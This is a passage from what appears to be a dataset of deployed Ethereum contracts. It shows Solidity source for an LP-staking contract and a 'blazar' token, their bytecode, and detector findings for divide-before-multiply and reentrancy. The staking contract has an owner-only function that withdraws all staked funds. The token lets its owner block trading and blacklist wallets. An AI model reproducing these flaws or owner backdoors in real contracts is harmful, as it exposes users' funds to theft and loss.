isStakeholder(address _address) public view returns(bool) { for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true); } return (false); } function addStakeholder(address _stakeholder) public { (bool _isStakeholder) = isStakeholder(_stakeholder); if(!_isStakeholder) stakeholders.push(_stakeholder); } function setLpLockAddress(address _account) public onlyOwner { require(_account != address(0), "ERC20: Setting zero address"); lpLockAddress = _account; } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(totalStakes < maxAllowed, "MAX AMOUNT REACHED CANNOT STAKE NO MORE"); require(IERC20(BBPLP).transferFrom(msg.sender, address(lpLockAddress), tokens), "Tokens cannot be transferred from user for locking"); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = tokens.add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; (bool _isStakeholder) = isStakeholder(msg.sender); if(!_isStakeholder) farmTime[msg.sender] = block.timestamp; totalStakes = totalStakes.add(tokens); addStakeholder(msg.sender); emit STAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS() external payable { uint256 _amount = msg.value; ethMade = ethMade.add(_amount); _addPayout(_amount); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round - 1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { if(totalDividends >= stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; msg.sender.transfer(owing); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount.add(stakers[staker].remainder)); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(breaker == false, "Admin Restricted WITHDRAW"); require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); totalStakes = totalStakes.sub(tokens); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; require(IERC20(BBPLP).transfer(msg.sender, tokens), "Error in un-staking tokens"); emit UNSTAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedBBPLp(address staker) public view returns(uint256 stakedBBPLp){ require(staker != address(0), "ERC20: sending to the zero address"); return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the BBP balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourBBPBalance(address user) external view returns(uint256 BBPBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(BBP).balanceOf(user); } function yourBBPLpBalance(address user) external view returns(uint256 BBPLpBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(BBPLP).balanceOf(user); } function retByAdmin() public onlyOwner { require(IERC20(BBPLP).transfer(owner, IERC20(BBPLP).balanceOf(address(this))), "Error in retrieving tokens"); require(IERC20(BBP).transfer(owner, IERC20(BBP).balanceOf(address(this))), "Error in retrieving bbp tokens"); owner.transfer(address(this).balance); } }
0x6080604052600436106101815760003560e01c8063997664d7116100d1578063ca3996711161008a578063e5c42fd111610064578063e5c42fd114610477578063ef037b90146104aa578063f2fde38b146104dd578063f3ec37c21461051057610181565b8063ca39967114610430578063ca84d59114610445578063cc16ab6e1461046f57610181565b8063997664d714610358578063a76267391461036d578063bf9befb1146103a0578063c3f344a8146103b5578063c5a7525a146103e8578063c5cc0f161461041b57610181565b80632c75bcda1161013e5780634e78e565116101185780634e78e565146102ed5780635c0aeb0e146103025780638da5cb5b1461032e57806398d624041461034357610181565b80632c75bcda1461027b5780634baf782e146102a55780634df9d6ba146102ba57610181565b80630f41e0d214610186578063146ca531146101af5780631c233879146101d657806323d308fa146101ed57806329272a631461022057806329652e8614610251575b600080fd5b34801561019257600080fd5b5061019b610543565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c461054c565b60408051918252519081900360200190f35b3480156101e257600080fd5b506101eb610552565b005b3480156101f957600080fd5b506101c46004803603602081101561021057600080fd5b50356001600160a01b0316610846565b34801561022c57600080fd5b5061023561090e565b604080516001600160a01b039092168252519081900360200190f35b34801561025d57600080fd5b506101c46004803603602081101561027457600080fd5b503561091d565b34801561028757600080fd5b506101eb6004803603602081101561029e57600080fd5b503561092f565b3480156102b157600080fd5b506101eb610b74565b3480156102c657600080fd5b506101c4600480360360208110156102dd57600080fd5b50356001600160a01b0316610c65565b3480156102f957600080fd5b50610235610d88565b34801561030e57600080fd5b506101eb6004803603602081101561032557600080fd5b50351515610d97565b34801561033a57600080fd5b50610235610dc1565b34801561034f57600080fd5b50610235610dd0565b34801561036457600080fd5b506101c4610ddf565b34801561037957600080fd5b506101c46004803603602081101561039057600080fd5b50356001600160a01b0316610de5565b3480156103ac57600080fd5b506101c4610e48565b3480156103c157600080fd5b506101c4600480360360208110156103d857600080fd5b50356001600160a01b0316610e4e565b3480156103f457600080fd5b506101c46004803603602081101561040b57600080fd5b50356001600160a01b0316610e60565b34801561042757600080fd5b506101c4610ef4565b34801561043c57600080fd5b506101c4610efa565b34801561045157600080fd5b506101eb6004803603602081101561046857600080fd5b5035610f00565b6101eb6110e4565b34801561048357600080fd5b506101eb6004803603602081101561049a57600080fd5b50356001600160a01b03166110ff565b3480156104b657600080fd5b5061019b600480360360208110156104cd57600080fd5b50356001600160a01b0316611161565b3480156104e957600080fd5b506101eb6004803603602081101561050057600080fd5b50356001600160a01b03166111b6565b34801561051c57600080fd5b506101eb6004803603602081101561053357600080fd5b50356001600160a01b031661125d565b600b5460ff1681565b60085481565b6000546001600160a01b0316331461056957600080fd5b600154600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b1580156105c157600080fd5b505afa1580156105d5573d6000803e3d6000fd5b505050506040513d60208110156105eb57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561063c57600080fd5b505af1158015610650573d6000803e3d6000fd5b505050506040513d602081101561066657600080fd5b50516106b9576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e2072657472696576696e6720746f6b656e73000000000000604482015290519081900360640190fd5b600254600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561071157600080fd5b505afa158015610725573d6000803e3d6000fd5b505050506040513d602081101561073b57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d60208110156107b657600080fd5b5051610809576040805162461bcd60e51b815260206004820152601e60248201527f4572726f7220696e2072657472696576696e672062627020746f6b656e730000604482015290519081900360640190fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610843573d6000803e3d6000fd5b50565b60006001600160a01b03821661088d5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b505190505b919050565b6002546001600160a01b031681565b600f6020526000908152604090205481565b600b5460ff1615610987576040805162461bcd60e51b815260206004820152601960248201527f41646d696e205265737472696374656420574954484452415700000000000000604482015290519081900360640190fd5b336000908152600e602052604090205481118015906109a65750600081115b6109f7576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b600454610a0490826112f1565b6004556000610a123361133c565b336000908152600e602052604090206004810180548301905554909150610a3990836112f1565b336000818152600e60209081526040808320948555600180860187905560055460028701556008546003909601959095559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b158015610ab857600080fd5b505af1158015610acc573d6000803e3d6000fd5b505050506040513d6020811015610ae257600080fd5b5051610b35576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a15050565b336000908152600e602052604090206002015460055410610c63576000610b9a3361133c565b336000908152600e6020526040902060040154909150610bbb90829061144a565b336000818152600e602052604080822060040182905551929350909183156108fc0291849190818181858888f19350505050158015610bfe573d6000803e3d6000fd5b50604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600e60205260409020600181019190915560085460038201556005546002909101555b565b60006001600160a01b038216610cac5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f90945291842054600554929493610d0593610cff92610cf991906112f1565b906114a4565b906114fd565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f909252909120546005549394509192610d4a92610cf991906112f1565b81610d5157fe5b6001600160a01b0386166000908152600e60205260409020600401549190069190910190610d8090829061144a565b949350505050565b6001546001600160a01b031681565b6000546001600160a01b03163314610dae57600080fd5b600b805460ff1916911515919091179055565b6000546001600160a01b031681565b6003546001600160a01b031681565b60055481565b60006001600160a01b038216610e2c5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b506001600160a01b03166000908152600e602052604090205490565b60045481565b600c6020526000908152604090205481565b60006001600160a01b038216610ea75760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600254604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108da57600080fd5b600a5481565b60095481565b60095460045410610f425760405162461bcd60e51b815260040180806020018281038252602781526020018061183b6027913960400191505060405180910390fd5b600154600354604080516323b872dd60e01b81523360048201526001600160a01b03928316602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b158015610fa157600080fd5b505af1158015610fb5573d6000803e3d6000fd5b505050506040513d6020811015610fcb57600080fd5b50516110085760405162461bcd60e51b81526004018080602001828103825260328152602001806117c66032913960400191505060405180910390fd5b60006110133361133c565b336000908152600e60205260409020600481018054830190555490915061103b90839061144a565b336000818152600e6020526040812092835560018301849055600554600284015560085460039093019290925561107190611161565b90508061108b57336000908152600c602052604090204290555b600454611098908461144a565b6004556110a4336110ff565b604080513381526020810185905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a1505050565b600a5434906110f3908261144a565b600a556108438161153f565b600061110a82611161565b90508061115d57600d80546001810182556000919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319166001600160a01b0384161790555b5050565b6000805b600d548110156111ad57600d818154811061117c57fe5b6000918252602090912001546001600160a01b03848116911614156111a5576001915050610909565b600101611165565b50600092915050565b6000546001600160a01b031633146111cd57600080fd5b6001600160a01b0381166112125760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461127457600080fd5b6001600160a01b0381166112cf576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a202053657474696e67207a65726f206164647265737300000000604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061133383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061162a565b90505b92915050565b60006001600160a01b0382166113835760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f909452918420546005549294936113d093610cff92610cf991906112f1565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f90925290912054600554939450919261141592610cf991906112f1565b8161141c57fe5b6001600160a01b03959095166000908152600e60205260409020600401805491909506019093555090919050565b600082820183811015611333576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826114b357506000611336565b828202828482816114c057fe5b04146113335760405162461bcd60e51b815260040180806020018281038252602181526020018061181a6021913960400191505060405180910390fd5b600061133383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c1565b600061156260065461155c600754856114a490919063ffffffff16565b9061144a565b9050600061157b600454836114fd90919063ffffffff16565b90506115926004548361172690919063ffffffff16565b6006556005546115a2908261144a565b600555600854600019016000908152600f60205260409020546115c5908261144a565b600880546000908152600f602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600081848411156116b95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167e578181015183820152602001611666565b50505050905090810190601f1680156116ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836117105760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b50600083858161171c57fe5b0495945050505050565b600061133383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836117b25760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b508284816117bc57fe5b0694935050505056fe546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d207573657220666f72206c6f636b696e6745524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d415820414d4f554e5420524541434845442043414e4e4f54205354414b45204e4f204d4f5245a2646970667358221220ed4bebeb44c681e901a28ed40f31617bb6b00ffaaf2fd8efddf0337f2202f91564736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,498
0x624c71ff51b2650c2ee470a2e882ba68fee35682
/** *Submitted for verification at Etherscan.io on 2022-03-24 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract blazar is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "blazar"; string private constant _symbol = "BLAZR"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 7; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x28a0d3Dfb43A9F806E349591906F3A1b81B687be); address payable private _marketingAddress = payable(0x28a0d3Dfb43A9F806E349591906F3A1b81B687be); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; //0.3 uint256 public _maxWalletSize = 2000000000 * 10**9; //1 uint256 public _swapTokensAtAmount = 10000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a9059cbb1461058e578063bdd795ef146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104e65780638f9a55c01461050f57806395d89b411461053a57806398a5c31514610565576101d7565b806374010ece146104675780637d1db4a5146104905780638da5cb5b146104bb576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103d35780636fc3eaec146103fc57806370a0823114610413578063715018a614610450576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f5780636b999053146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632f9c456914610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130e1565b610714565b005b34801561021157600080fd5b5061021a61083e565b60405161022791906134fa565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613041565b61087b565b60405161026491906134c4565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906134df565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906136fc565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fae565b6108d0565b6040516102f791906134c4565b60405180910390f35b34801561030c57600080fd5b5061032760048036038101906103229190613001565b6109a9565b005b34801561033557600080fd5b5061033e610b2c565b60405161034b91906136fc565b60405180910390f35b34801561036057600080fd5b50610369610b32565b6040516103769190613771565b60405180910390f35b34801561038b57600080fd